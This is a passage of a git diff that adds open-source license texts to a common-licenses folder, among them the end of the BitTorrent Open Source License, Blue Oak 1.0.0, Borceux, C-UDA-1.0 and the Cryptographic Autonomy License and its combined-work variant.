+14. Definition of You in This License. You throughout this License, whether in upper or lower case, means an individual or a legal entity exercising rights under, and complying with all of the terms of, this License or a future version of this License issued under Section 7. For legal entities, you includes any entity that controls, is controlled by, is under common control with, or affiliated with, you. For purposes of this definition, control means (i) the power, direct or indirect, to cause the direction or management of such entity, whether by contract or otherwise, or (ii) ownership of fifty percent (50%) or more of the outstanding shares, or (iii) beneficial ownership of such entity. You are responsible for advising any affiliated entity of the terms of this License, and that any rights or privileges derived from or obtained by way of this License are subject to the restrictions outlined herein.
+
+15. Glossary. All defined terms in this License that are used in more than one Section of this License are repeated here, in alphabetical order, for the convenience of the reader. The Section of this License in which each defined term is first used is shown in parentheses.
+
+Contributor: Each person or entity who created or contributed to the creation of, and distributed, a Modification. (See Section 2)
+
+Derivative Works: That term as used in this License is defined under U.S. copyright law. (See Section 1(b))
+
+License: This BitTorrent Open Source License. (See first paragraph of License)
+
+Licensed Product: Any BitTorrent Product licensed pursuant to this License. The term "Licensed Product" includes all previous Modifications from any Contributor that you receive. (See first paragraph of License and Section 2)
+
+Licensor: BitTorrent, Inc. (See first paragraph of License)
+
+Modifications: Any additions to or deletions from the substance or structure of (i) a file containing Licensed
+Product, or (ii) any new file that contains any part of Licensed Product. (See Section 2)
+
+Notice: The notice contained in Exhibit A. (See Section 4(e))
+
+Source Code: The preferred form for making modifications to the Licensed Product, including all modules contained therein, plus any associated interface definition files, scripts used to control compilation and installation of an executable program, or a list of differential comparisons against the Source Code of the Licensed Product. (See Section 1(a))
+
+You: This term is defined in Section 14 of this License.
+
+EXHIBIT A
+
+The Notice below must appear in each file of the Source Code of any copy you distribute of the Licensed Product or any hereto. Contributors to any Modifications may add their own copyright notices to identify their own contributions.
+
+License:
+The contents of this file are subject to the BitTorrent Open Source License Version 1.0 (the License). You may not copy or use this file, in either source code or executable form, except in compliance with the License. You may obtain a copy of the License at http://www.bittorrent.com/license/.
+
+Software distributed under the License is distributed on an AS IS basis, WITHOUT WARRANTY OF ANY KIND, either express or implied. See the License for the specific language governing rights and limitations under the License.
+
+BitTorrent, Inc.
diff --git a/meta/files/common-licenses/BlueOak-1.0.0 b/meta/files/common-licenses/BlueOak-1.0.0
new file mode 100644
index 0000000000..c5402b9577
--- /dev/null
+++ b/meta/files/common-licenses/BlueOak-1.0.0
@@ -0,0 +1,55 @@
+# Blue Oak Model License
+
+Version 1.0.0
+
+## Purpose
+
+This license gives everyone as much permission to work with
+this software as possible, while protecting contributors
+from liability.
+
+## Acceptance
+
+In order to receive this license, you must agree to its
+rules. The rules of this license are both obligations
+under that agreement and conditions to your license.
+You must not do anything with this software that triggers
+a rule that you cannot or will not follow.
+
+## Copyright
+
+Each contributor licenses you to do everything with this
+software that would otherwise infringe that contributor's
+copyright in it.
+
+## Notices
+
+You must ensure that everyone who gets a copy of
+any part of this software from you, with or without
+changes, also gets the text of this license or a link to
+<https://blueoakcouncil.org/license/1.0.0>.
+
+## Excuse
+
+If anyone notifies you in writing that you have not
+complied with [Notices](#notices), you can keep your
+license by taking all practical steps to comply within 30
+days after the notice. If you do not do so, your license
+ends immediately.
+
+## Patent
+
+Each contributor licenses you to do everything with this
+software that would otherwise infringe any patent claims
+they can license or become able to license.
+
+## Reliability
+
+No contributor can revoke this license.
+
+## No Liability
+
+***As far as the law allows, this software comes as is,
+without any warranty or condition, and no contributor
+will be liable to anyone for any damages related to this
+software or this license, under any kind of legal claim.***
diff --git a/meta/files/common-licenses/Borceux b/meta/files/common-licenses/Borceux
new file mode 100644
index 0000000000..4856e78859
--- /dev/null
+++ b/meta/files/common-licenses/Borceux
@@ -0,0 +1,19 @@
+Copyright 1993 Francis Borceux
+You may freely use, modify, and/or distribute each of the files in this package without limitation. The package consists of the following files:
+
+README
+compatibility/OldDiagram
+compatibility/OldMaxiDiagram
+compatibility/OldMicroDiagram
+compatibility/OldMiniDiagram
+compatibility/OldMultipleArrows
+diagram/Diagram
+diagram/MaxiDiagram
+diagram/MicroDiagram
+diagram/MiniDiagram
+diagram/MultipleArrows
+user-guides/Diagram_Mode_d_Emploi
+user-guides/Diagram_Read_Me
+
+Of course no support is guaranteed, but the author will attempt to assist with problems. Current email address:
+francis dot borceux at uclouvain dot be.
diff --git a/meta/files/common-licenses/C-UDA-1.0 b/meta/files/common-licenses/C-UDA-1.0
new file mode 100644
index 0000000000..9f7c57df5a
--- /dev/null
+++ b/meta/files/common-licenses/C-UDA-1.0
@@ -0,0 +1,47 @@
+Computational Use of Data Agreement v1.0
+
+This is the Computational Use of Data Agreement, Version 1.0 (the “C-UDA”). Capitalized terms are defined in Section 5. Data Provider and you agree as follows:
+
+1. Provision of the Data
+
+1.1. You may use, modify, and distribute the Data made available to you by the Data Provider under this C-UDA for Computational Use if you follow the C-UDA's terms.
+
+1.2. Data Provider will not sue you or any Downstream Recipient for any claim arising out of the use, modification, or distribution of the Data provided you meet the terms of the C-UDA.
+
+1.3 This C-UDA does not restrict your use, modification, or distribution of any portions of the Data that are in the public domain or that may be used, modified, or distributed under any other legal exception or limitation.
+
+2. Restrictions
+
+2.1 You agree that you will use the Data solely for Computational Use.
+
+2.2 The C-UDA does not impose any restriction with respect to the use, modification, or distribution of Results.
+
+3. Redistribution of Data
+
+3.1. You may redistribute the Data, so long as:
+
+3.1.1. You include with any Data you redistribute all credit or attribution information that you received with the Data, and your terms require any Downstream Recipient to do the same; and
+
+3.1.2. You bind each recipient to whom you redistribute the Data to the terms of the C-UDA.
+
+4. No Warranty, Limitation of Liability
+
+4.1. Data Provider does not represent or warrant that it has any rights whatsoever in the Data.
+
+4.2. THE DATA IS PROVIDED ON AN “AS IS” BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, EITHER EXPRESS OR IMPLIED INCLUDING, WITHOUT LIMITATION, ANY WARRANTIES OR CONDITIONS OF TITLE, NON-INFRINGEMENT, MERCHANTABILITY OR FITNESS FOR A PARTICULAR PURPOSE.
+
+4.3. NEITHER DATA PROVIDER NOR ANY UPSTREAM DATA PROVIDER SHALL HAVE ANY LIABILITY FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING WITHOUT LIMITATION LOST PROFITS), HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE DATA OR RESULTS, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGES.
+
+5. Definitions
+
+5.1. “Computational Use” means activities necessary to enable the use of Data (alone or along with other material) for analysis by a computer.
+
+5.2.“Data” means the material you receive under the C-UDA in modified or unmodified form, but not including Results.
+
+5.3. “Data Provider” means the source from which you receive the Data and with whom you enter into the C-UDA.
+
+5.4. “Downstream Recipient” means any person or persons who receives the Data directly or indirectly from you in accordance with the C-UDA.
+
+5.5. “Result” means anything that you develop or improve from your use of Data that does not include more than a de minimis portion of the Data on which the use is based. Results may include de minimis portions of the Data necessary to report on or explain use that has been conducted with the Data, such as figures in scientific papers, but do not include more. Artificial intelligence models trained on Data (and which do not include more than a de minimis portion of Data) are Results.
+
+5.6. “Upstream Data Providers” means the source or sources from which the Data Provider directly or indirectly received, under the terms of the C-UDA, material that is included in the Data.
diff --git a/meta/files/common-licenses/CAL-1.0 b/meta/files/common-licenses/CAL-1.0
new file mode 100644
index 0000000000..4cebc6d54d
--- /dev/null
+++ b/meta/files/common-licenses/CAL-1.0
@@ -0,0 +1,354 @@
+# The Cryptographic Autonomy License, v. 1.0
+
+*This Cryptographic Autonomy License (the "License") applies to any
+Work whose owner has marked it with any of the following notices, or a
+similar demonstration of intent:*
+
+SPDX-License-Identifier: CAL-1.0
+Licensed under the Cryptographic Autonomy License version 1.0
+
+*or*
+
+SPDX-License-Identifier: CAL-1.0-Combined-Work-Exception
+Licensed under the Cryptographic Autonomy License version 1.0, with
+Combined Work Exception
+
+______________________________________________________________________
+
+## 1. Purpose
+
+This License gives You unlimited permission to use and modify the
+software to which it applies (the "Work"), either as-is or in modified
+form, for Your private purposes, while protecting the owners and
+contributors to the software from liability.
+
+This License also strives to protect the freedom and autonomy of third
+parties who receive the Work from you. If any non-affiliated third
+party receives any part, aspect, or element of the Work from You, this
+License requires that You provide that third party all the permissions
+and materials needed to independently use and modify the Work without
+that third party having a loss of data or capability due to your
+actions.
+
+The full permissions, conditions, and other terms are laid out below.
+
+## 2. Receiving a License
+
+In order to receive this License, You must agree to its rules. The
+rules of this License are both obligations of Your agreement with the
+Licensor and conditions to your License. You must not do anything with
+the Work that triggers a rule You cannot or will not follow.
+
+### 2.1. Application
+
+The terms of this License apply to the Work as you receive it from
+Licensor, as well as to any modifications, elaborations, or
+implementations created by You that contain any licensable portion of
+the Work (a "Modified Work"). Unless specified, any reference to the
+Work also applies to a Modified Work.
+
+### 2.2. Offer and Acceptance
+
+This License is automatically offered to every person and
+organization. You show that you accept this License and agree to its
+conditions by taking any action with the Work that, absent this
+License, would infringe any intellectual property right held by
+Licensor.
+
+### 2.3. Compliance and Remedies
+
+Any failure to act according to the terms and conditions of this
+License places Your use of the Work outside the scope of the License
+and infringes the intellectual property rights of the Licensor. In the
+event of infringement, the terms and conditions of this License may be
+enforced by Licensor under the intellectual property laws of any
+jurisdiction to which You are subject. You also agree that either the
+Licensor or a Recipient (as an intended third-party beneficiary) may
+enforce the terms and conditions of this License against You via
+specific performance.
+
+## 3. Permissions
+### 3.1. Permissions Granted
+
+Conditioned on compliance with section 4, and subject to the
+limitations of section 3.2, Licensor grants You the world-wide,
+royalty-free, non-exclusive permission to:
+
++ a) Take any action with the Work that would infringe the non-patent
+intellectual property laws of any jurisdiction to which You are
+subject; and
+
++ b) claims that Licensor can license or becomes able to
+license, to the extent that those claims are embodied in the Work as
+distributed by Licensor. ### 3.2. Limitations on Permissions Granted
+
+The following limitations apply to the permissions granted in section
+3.1:
+
++ a) Licensor does not grant any patent license for claims that are
+only infringed due to modification of the Work as provided by
+Licensor, or the combination of the Work as provided by Licensor,
+directly or indirectly, with any other component, including other
+software or hardware.
+
++ b) Licensor does not grant any license to the trademarks, service
+marks, or logos of Licensor, except to the extent necessary to comply
+with the attribution conditions in section 4.1 of this License.
+
+## 4. Conditions
+
+If You exercise any permission granted by this License, such that the
+Work, or any part, aspect, or element of the Work, is distributed,
+communicated, made available, or made perceptible to a non-Affiliate
+third party (a "Recipient"), either via physical delivery or via a
+network connection to the Recipient, You must comply with the
+following conditions:
+
+### 4.1. Provide Access to Source Code
+
+Subject to the exception in section 4.4, You must provide to each
+Recipient a copy of, or no-charge unrestricted network access to, the
+Source Code corresponding to the Work ("Access").
+
+The "Source Code" of the Work means the form of the Work preferred for
+making modifications, including any comments, configuration
+information, documentation, help materials, installation instructions,
+cryptographic seeds or keys, and any information reasonably necessary
+for the Recipient to independently compile and use the Source Code and
+to have full access to the functionality contained in the Work.
+
+#### 4.1.1. Providing Network Access to the Source Code
+
+Network Access to the Notices and Source Code may be provided by You
+or by a third party, such as a public software repository, and must
+persist during the same period in which You exercise any of the
+permissions granted to You under this License and for at least one
+year thereafter.
+
+#### 4.1.2. Source Code for a Modified Work
+
+Subject to the exception in section 4.5, You must provide to each
+Recipient of a Modified Work Access to Source Code corresponding to
+those portions of the Work remaining in the Modified Work as well as
+the modifications used by You to create the Modified Work. The Source
+Code corresponding to the modifications in the Modified Work must be
+provided to the Recipient either a) under this License, or b) under a
+Compatible Open Source License.
+
+A “Compatible Open Source License” means a license accepted by the Open Source
+Initiative that allows object code created using both Source Code provided under
+this License and Source Code provided under the other open source license to be
+distributed together as a single work.
+
+#### 4.1.3. Coordinated Disclosure of Security Vulnerabilities
+
+You may delay providing the Source Code corresponding to a particular
+modification of the Work for up to ninety (90) days (the "Embargo
+Period") if:
+
++ a) the modification is intended to address a newly-identified
+vulnerability or a security flaw in the Work,
+
++ b) disclosure of the vulnerability or security flaw before the end
+of the Embargo Period would put the data, identity, or autonomy of one
+or more Recipients of the Work at significant risk,
+
++ c) You are participating in a coordinated disclosure of the
+vulnerability or security flaw with one or more additional Licensees,
+and
+
++ d) Access to the Source Code pertaining to the modification is
+provided to all Recipients at the end of the Embargo Period.
+
+### 4.2. Maintain User Autonomy
+
+In addition to providing each Recipient the opportunity to have Access
+to the Source Code, You cannot use the permissions given under this
+License to interfere with a Recipient's ability to fully use an
+independent copy of the Work generated from the Source Code You
+provide with the Recipient's own User Data.
+
+"User Data" means any data that is an input to or an output from the
+Work, where the presence of the data is necessary for substantially
+identical use of the Work in an equivalent context chosen by the
+Recipient, and where the Recipient has an existing ownership interest,
+an existing right to possess, or where the data has been generated by,
+for, or has been assigned to the Recipient.
+
+#### 4.2.1. No Withholding User Data
+
+Throughout any period in which You exercise any of the permissions
+granted to You under this License, You must also provide to any
+Recipient to whom you provide services via the Work, a no-charge copy,
+provided in a commonly used electronic form, of the Recipient's User
+Data in your possession, to the extent that such User Data is
+available to You for use in conjunction with the Work.
+
+#### 4.2.2. No Technical Measures that Limit Access
+
+You may not, by means of the use cryptographic methods applied to
+anything provided to the Recipient, by possession or control of
+cryptographic keys, seeds, hashes, by any other technological
+protection measures, or by any other method, limit a Recipient's
+ability to access any functionality present in Recipient's independent
+copy of the Work, or to deny a Recipient full control of the
+Recipient's User Data.
+
+#### 4.2.3. No Legal or Contractual Measures that Limit Access
+
+You may not contractually restrict a Recipient's ability to
+independently exercise the permissions granted under this License. You
+waive any legal power to forbid circumvention of technical protection
+measures that include use of the Work, and You waive any claim that
+the capabilities of the Work were limited or modified as a means of
+enforcing the legal rights of third parties against Recipients.
+
+### 4.3. Provide Notices and Attribution
+
+You must retain all licensing, authorship, or attribution notices
+contained in the Source Code (the "Notices"), and provide all such
+Notices to each Recipient, together with a statement acknowledging the
+use of the Work. Notices may be provided directly to a Recipient or
+via an easy-to-find hyperlink to an Internet location also providing
+Access to Source Code.
+
+### 4.4. Scope of Conditions in this License
+
+You are required to uphold the conditions of this License only
+relative to those who are Recipients of the Work from You. Other than
+providing Recipients with the applicable Notices, Access to Source
+Code, and a copy of and full control of their User Data, nothing in
+this License requires You to provide processing services to or engage
+in network interactions with anyone.
+
+### 4.5. Combined Work Exception
+
+As an exception to condition that You provide Recipients Access to
+Source Code, any Source Code files marked by the Licensor as having
+the "Combined Work Exception," or any object code exclusively
+resulting from Source Code files so marked, may be combined with other
+Software into a "Larger Work." So long as you comply with the
+requirements to provide Recipients the applicable Notices and Access
+to the Source Code provided to You by Licensor, and you provide
+Recipients access to their User Data and do not limit Recipient's
+ability to independently work with their User Data, any other Software
+in the Larger Work as well as the Larger Work as a whole may be
+licensed under the terms of your choice.
+
+## 5. Term and Termination
+
+The term of this License begins when You receive the Work, and
+continues until terminated for any of the reasons described herein, or
+until all Licensor's intellectual property rights in the Software
+expire, whichever comes first ("Term"). This License cannot be
+revoked, only terminated for the reasons listed below.
+
+### 5.1. Effect of Termination
+
+If this License is terminated for any reason, all permissions granted
+to You under Section 3 by any Licensor automatically terminate. You
+will immediately cease exercising any permissions granted in this
+License relative to the Work, including as part of any Modified Work.
+
+### 5.2. Termination for Non-Compliance; Reinstatement
+
+This License terminates automatically if You fail to comply with any
+of the conditions in section 4. As a special exception to termination
+for non-compliance, Your permissions for the Work under this License
+will automatically be reinstated if You come into compliance with all
+the conditions in section 2 within sixty (60) days of being notified
+by Licensor or an intended third-party beneficiary of Your
+noncompliance. You are eligible for reinstatement of permissions for
+the Work one time only, and only for the sixty days immediately after
+becoming aware of noncompliance. Loss of permissions granted for the
+Work under this License due to either a) sustained noncompliance
+lasting more than sixty days or b) subsequent termination for
+noncompliance after reinstatement, is permanent, unless rights are
+specifically restored by Licensor in writing.
+
+### 5.3. Termination Due to Litigation
+
+If You initiate litigation against Licensor, or any Recipient of the
+Work, either direct or indirect, asserting that the Work directly or
+indirectly infringes any patent, then all permissions granted to You
+by this License shall terminate. In the event of termination due to
+litigation, all permissions validly granted by You under this License,
+directly or indirectly, shall survive termination. Administrative
+review procedures, declaratory judgment actions, counterclaims in
+response to patent litigation, and enforcement actions against former
+Licensees terminated under this section do not cause termination due
+to litigation.
+
+## 6. Disclaimer of Warranty and Limit on Liability
+
+As far as the law allows, the Work comes AS-IS, without any warranty
+of any kind, and no Licensor or contributor will be liable to anyone
+for any damages related to this software or this license, under any
+kind of legal claim, or for any type of damages, including indirect,
+special, incidental, or consequential damages of any type arising as a
+result of this License or the use of the Work including, without
+limitation, damages for loss of goodwill, work stoppage, computer
+failure or malfunction, loss of profits, revenue, or any and all other
+commercial damages or losses.
+
+## 7. Other Provisions
+### 7.1. Affiliates
+
+An "Affiliate" means any other entity that, directly or indirectly
+through one or more intermediaries, controls, is controlled by, or is
+under common control with, the Licensee. Employees of a Licensee and
+natural persons acting as contractors exclusively providing services
+to Licensee are also Affiliates.
+
+### 7.2. Choice of Jurisdiction and Governing Law
+
+A Licensor may require that any action or suit by a Licensee relating
+to a Work provided by Licensor under this License may be brought only
+in the courts of a particular jurisdiction and under the laws of a
+particular jurisdiction (excluding its conflict-of-law provisions), if
+Licensor provides conspicuous notice of the particular jurisdiction to
+all Licensees.
+
+### 7.3. No Sublicensing
+
+This License is not sublicensable. Each time You provide the Work or a
+Modified Work to a Recipient, the Recipient automatically receives a
+license under the terms described in this License. You may not impose
+any further reservations, conditions, or other provisions on any
+Recipients' exercise of the permissions granted herein.
+
+### 7.4. Attorneys' Fees
+
+In any action to enforce the terms of this License, or seeking damages
+relating thereto, including by an intended third-party beneficiary,
+the prevailing party shall be entitled to recover its costs and
+expenses, including, without limitation, reasonable attorneys' fees
+and costs incurred in connection with such action, including any
+appeal of such action. A "prevailing party" is the party that
+achieves, or avoids, compliance with this License, including through
+settlement. This section shall survive the termination of this
+License.
+
+### 7.5. No Waiver
+
+Any failure by Licensor to enforce any provision of this License will
+not constitute a present or future waiver of such provision nor limit
+Licensor's ability to enforce such provision at a later time.
+
+### 7.6. Severability
+
+If any provision of this License is held to be unenforceable, such
+provision shall be reformed only to the extent necessary to make it
+enforceable. Any invalid or unenforceable portion will be interpreted
+to the effect and intent of the original portion. If such a
+construction is not possible, the invalid or unenforceable portion
+will be severed from this License but the rest of this License will
+remain in full force and effect.
+
+### 7.7. License for the Text of this License
+
+The text of this license is released under the Creative Commons
+Attribution-ShareAlike 4.0 International License, with the caveat that
+any modifications of this license may not use the name "Cryptographic
+Autonomy License" or any name confusingly similar thereto to describe
+any derived work of this License.
diff --git a/meta/files/common-licenses/CAL-1.0-Combined-Work-Exception b/meta/files/common-licenses/CAL-1.0-Combined-Work-Exception
new file mode 100644
index 0000000000..4cebc6d54d
--- /dev/null
+++ b/meta/files/common-licenses/CAL-1.0-Combined-Work-Exception
@@ -0,0 +1,354 @@
+# The Cryptographic Autonomy License, v. 1.0
+
+*This Cryptographic Autonomy License (the "License") applies to any
+Work whose owner has marked it with any of the following notices, or a
+similar demonstration of intent:*
+
+SPDX-License-Identifier: CAL-1.0
+Licensed under the Cryptographic Autonomy License version 1.0
+
+*or*
+
+SPDX-License-Identifier: CAL-1.0-Combined-Work-Exception
+Licensed under the Cryptographic Autonomy License version 1.0, with
+Combined Work Exception
+
+______________________________________________________________________
+
+## 1. Purpose
+
+This License gives You unlimited permission to use and modify the
+software to which it applies (the "Work"), either as-is or in modified
+form, for Your private purposes, while protecting the owners and
+contributors to the software from liability.
+
+This License also strives to protect the freedom and autonomy of third
+parties who receive the Work from you. If any non-affiliated third
+party receives any part, aspect, or element of the Work from You, this
+License requires that You provide that third party all the permissions
+and materials needed to independently use and modify the Work without
+that third party having a loss of data or capability due to your
+actions.
+
+The full permissions, conditions, and other terms are laid out below.
+
+## 2. Receiving a License
+
+In order to receive this License, You must agree to its rules. The
+rules of this License are both obligations of Your agreement with the
+Licensor and conditions to your License. You must not do anything with
+the Work that triggers a rule You cannot or will not follow.
+
+### 2.1. Application
+
+The terms of this License apply to the Work as you receive it from
+Licensor, as well as to any modifications, elaborations, or
+implementations created by You that contain any licensable portion of
+the Work (a "Modified Work"). Unless specified, any reference to the
+Work also applies to a Modified Work.
+
+### 2.2. Offer and Acceptance
+
+This License is automatically offered to every person and
+organization. You show that you accept this License and agree to its
+conditions by taking any action with the Work that, absent this
+License, would infringe any intellectual property right held by
+Licensor.
+
+### 2.3. Compliance and Remedies
+
+Any failure to act according to the terms and conditions of this
+License places Your use of the Work outside the scope of the License
+and infringes the intellectual property rights of the Licensor. In the
+event of infringement, the terms and conditions of this License may be
+enforced by Licensor under the intellectual property laws of any
+jurisdiction to which You are subject. You also agree that either the
+Licensor or a Recipient (as an intended third-party beneficiary) may
+enforce the terms and conditions of this License against You via
+specific performance.
+
+## 3. Permissions
+### 3.1. Permissions Granted
+
+Conditioned on compliance with section 4, and subject to the
+limitations of section 3.2, Licensor grants You the world-wide,
+royalty-free, non-exclusive permission to:
+
++ a) Take any action with the Work that would infringe the non-patent
+intellectual property laws of any jurisdiction to which You are
+subject; and
+
++ b) claims that Licensor can license or becomes able to
+license, to the extent that those claims are embodied in the Work as
+distributed by Licensor. ### 3.2. Limitations on Permissions Granted
+
+The following limitations apply to the permissions granted in section
+3.1:
+
++ a) Licensor does not grant any patent license for claims that are
+only infringed due to modification of the Work as provided by
+Licensor, or the combination of the Work as provided by Licensor,
+directly or indirectly, with any other component, including other
+software or hardware.
+
++ b) Licensor does not grant any license to the trademarks, service
+marks, or logos of Licensor, except to the extent necessary to comply
+with the attribution conditions in section 4.1 of this License.
+
+## 4. Conditions
+
+If You exercise any permission granted by this License, such that the
+Work, or any part, aspect, or element of the Work, is distributed,
+communicated, made available, or made perceptible to a non-Affiliate
+third party (a "Recipient"), either via physical delivery or via a
+network connection to the Recipient, You must comply with the
+following conditions:
+
+### 4.1. Provide Access to Source Code
+
+Subject to the exception in section 4.4, You must provide to each
+Recipient a copy of, or no-charge unrestricted network access to, the
+Source Code corresponding to the Work ("Access").
+
+The "Source Code" of the Work means the form of the Work preferred for
+making modifications, including any comments, configuration
+information, documentation, help materials, installation instructions,
+cryptographic seeds or keys, and any information reasonably necessary
+for the Recipient to independently compile and use the Source Code and
+to have full access to the functionality contained in the Work.
+
+#### 4.1.1. Providing Network Access to the Source Code
+
+Network Access to the Notices and Source Code may be provided by You
+or by a third party, such as a public software repository, and must
+persist during the same period in which You exercise any of the
+permissions granted to You under this License and for at least one
+year thereafter.
+
+#### 4.1.2. Source Code for a Modified Work
+
+Subject to the exception in section 4.5, You must provide to each
+Recipient of a Modified Work Access to Source Code corresponding to
+those portions of the Work remaining in the Modified Work as well as
+the modifications used by You to create the Modified Work. The Source
+Code corresponding to the modifications in the Modified Work must be
+provided to the Recipient either a) under this License, or b) under a
+Compatible Open Source License.
+
+A “Compatible Open Source License” means a license accepted by the Open Source
+Initiative that allows object code created using both Source Code provided under
+this License and Source Code provided under the other open source license to be
+distributed together as a single work.
+
+#### 4.1.3. Coordinated Disclosure of Security Vulnerabilities
+
+You may delay providing the Source Code corresponding to a particular
+modification of the Work for up to ninety (90) days (the "Embargo
+Period") if:
+
++ a) the modification is intended to address a newly-identified
+vulnerability or a security flaw in the Work,
+
++ b) disclosure of the vulnerability or security flaw before the end
+of the Embargo Period would put the data, identity, or autonomy of one
+or more Recipients of the Work at significant risk,
+
++ c) You are participating in a coordinated disclosure of the
+vulnerability or security flaw with one or more additional Licensees,
+and
+
++ d) Access to the Source Code pertaining to the modification is
+provided to all Recipients at the end of the Embargo Period.
+
+### 4.2. Maintain User Autonomy
+
+In addition to providing each Recipient the opportunity to have Access
+to the Source Code, You cannot use the permissions given under this
+License to interfere with a Recipient's ability to fully use an
+independent copy of the Work generated from the Source Code You
+provide with the Recipient's own User Data.
+
+"User Data" means any data that is an input to or an output from the
+Work, where the presence of the data is necessary for substantially
+identical use of the Work in an equivalent context chosen by the
+Recipient, and where the Recipient has an existing ownership interest,
+an existing right to possess, or where the data has been generated by,
+for, or has been assigned to the Recipient.
+
+#### 4.2.1. No Withholding User Data
+
+Throughout any period in which You exercise any of the permissions
+granted to You under this License, You must also provide to any
+Recipient to whom you provide services via the Work, a no-charge copy,
+provided in a commonly used electronic form, of the Recipient's User
+Data in your possession, to the extent that such User Data is
+available to You for use in conjunction with the Work.
+
+#### 4.2.2. No Technical Measures that Limit Access
+
+You may not, by means of the use cryptographic methods applied to
+anything provided to the Recipient, by possession or control of
+cryptographic keys, seeds, hashes, by any other technological
+protection measures, or by any other method, limit a Recipient's
+ability to access any functionality present in Recipient's independent
+copy of the Work, or to deny a Recipient full control of the
+Recipient's User Data.
+
+#### 4.2.3. No Legal or Contractual Measures that Limit Access
+
+You may not contractually restrict a Recipient's ability to
+independently exercise the permissions granted under this License. You
+waive any legal power to forbid circumvention of technical protection
+measures that include use of the Work, and You waive any claim that
+the capabilities of the Work were limited or modified as a means of
+enforcing the legal rights of third parties against Recipients.
+
+### 4.3. Provide Notices and Attribution
+
+You must retain all licensing, authorship, or attribution notices
+contained in the Source Code (the "Notices"), and provide all such
+Notices to each Recipient, together with a statement acknowledging the
+use of the Work. Notices may be provided directly to a Recipient or
+via an easy-to-find hyperlink to an Internet location also providing
+Access to Source Code.
+
+### 4.4. Scope of Conditions in this License
+
+You are required to uphold the conditions of this License only
+relative to those who are Recipients of the Work from You. Other than
+providing Recipients with the applicable Notices, Access to Source
+Code, and a copy of and full control of their User Data, nothing in
+this License requires You to provide processing services to or engage
+in network interactions with anyone.
+
+### 4.5. Combined Work Exception
+
+As an exception to condition that You provide Recipients Access to
+Source Code, any Source Code files marked by the Licensor as having
+the "Combined Work Exception," or any object code exclusively
+resulting from Source Code files so marked, may be combined with other
+Software into a "Larger Work." So long as you comply with the
+requirements to provide Recipients the applicable Notices and Access
+to the Source Code provided to You by Licensor, and you provide
+Recipients access to their User Data and do not limit Recipient's
+ability to independently work with their User Data, any other Software
+in the Larger Work as well as the Larger Work as a whole may be
+licensed under the terms of your choice.
+
+## 5. Term and Termination
+
+The term of this License begins when You receive the Work, and
+continues until terminated for any of the reasons described herein, or
+until all Licensor's intellectual property rights in the Software
+expire, whichever comes first ("Term"). This License cannot be
+revoked, only terminated for the reasons listed below.
+
+### 5.1. Effect of Termination
+
+If this License is terminated for any reason, all permissions granted
+to You under Section 3 by any Licensor automatically terminate. You
+will immediately cease exercising any permissions granted in this
+License relative to the Work, including as part of any Modified Work.
+
+### 5.2. Termination for Non-Compliance; Reinstatement
+
+This License terminates automatically if You fail to comply with any
+of the conditions in section 4. As a special exception to termination
+for non-compliance, Your permissions for the Work under this License
+will automatically be reinstated if You come into compliance with all
+the conditions in section 2 within sixty (60) days of being notified
+by Licensor or an intended third-party beneficiary of Your
+noncompliance. You are eligible for reinstatement of permissions for
+the Work one time only, and only for the sixty days immediately after
+becoming aware of noncompliance. Loss of permissions granted for the
+Work under this License due to either a) sustained noncompliance
+lasting more than sixty days or b) subsequent termination for
+noncompliance after reinstatement, is permanent, unless rights are
+specifically restored by Licensor in writing.
+
+### 5.3. Termination Due to Litigation
+
+If You initiate litigation against Licensor, or any Recipient of the
+Work, either direct or indirect, asserting that the Work directly or
+indirectly infringes any patent, then all permissions granted to You
+by this License shall terminate. In the event of termination due to
+litigation, all permissions validly granted by You under this License,
+directly or indirectly, shall survive termination. Administrative
+review procedures, declaratory judgment actions, counterclaims in
+response to patent litigation, and enforcement actions against former
+Licensees terminated under this section do not cause termination due
+to litigation.
+
+## 6. Disclaimer of Warranty and Limit on Liability
+
+As far as the law allows, the Work comes AS-IS, without any warranty
+of any kind, and no Licensor or contributor will be liable to anyone
+for any damages related to this software or this license, under any
+kind of legal claim, or for any type of damages, including indirect,
+special, incidental, or consequential damages of any type arising as a
+result of this License or the use of the Work including, without
+limitation, damages for loss of goodwill, work stoppage, computer
+failure or malfunction, loss of profits, revenue, or any and all other
+commercial damages or losses.
+
+## 7. Other Provisions
+### 7.1. Affiliates
+
+An "Affiliate" means any other entity that, directly or indirectly
+through one or more intermediaries, controls, is controlled by, or is
+under common control with, the Licensee. Employees of a Licensee and
+natural persons acting as contractors exclusively providing services
+to Licensee are also Affiliates.
+
+### 7.2. Choice of Jurisdiction and Governing Law
+
+A Licensor may require that any action or suit by a Licensee relating
+to a Work provided by Licensor under this License may be brought only
+in the courts of a particular jurisdiction and under the laws of a
+particular jurisdiction (excluding its conflict-of-law provisions), if
+Licensor provides conspicuous notice of the particular jurisdiction to
+all Licensees.
+
+### 7.3. No Sublicensing
+
+This License is not sublicensable. Each time You provide the Work or a
+Modified Work to a Recipient, the Recipient automatically receives a
+license under the terms described in this License. You may not impose
+any further reservations, conditions, or other provisions on any
+Recipients' exercise of the permissions granted herein.
+
+### 7.4. Attorneys' Fees
+
+In any action to enforce the terms of this License, or seeking damages
+relating thereto, including by an intended third-party beneficiary,
+the prevailing party shall be entitled to recover its costs and
+expenses, including, without limitation, reasonable attorneys' fees
+and costs incurred in connection with such action, including any
+appeal of such action. A "prevailing party" is the party that
+achieves, or avoids, compliance with this License, including through
+settlement. This section shall survive the termination of this
+License.
+
+### 7.5. No Waiver
+
+Any failure by Licensor to enforce any provision of this License will
+not constitute a present or future waiver of such provision nor limit
+Licensor's ability to enforce such provision at a later time.
+
+### 7.6. Severability
+
+If any provision of this License is held to be unenforceable, such
+provision shall be reformed only to the extent necessary to make it
+enforceable. Any invalid or unenforceable portion will be interpreted
+to the effect and intent of the original portion. If such a
+construction is not possible, the invalid or unenforceable portion
+will be severed from this License but the rest of this License will
+remain in full force and effect.
+
+### 7.7. License for the Text of this License
+
+The text of this license is released under the Creative Commons
+Attribution-ShareAlike 4.0 International License, with the caveat that
+any modifications of this license may not use the name "Cryptographic
+Autonomy License" or any name confusingly similar thereto to describe
+any derived work of this License.
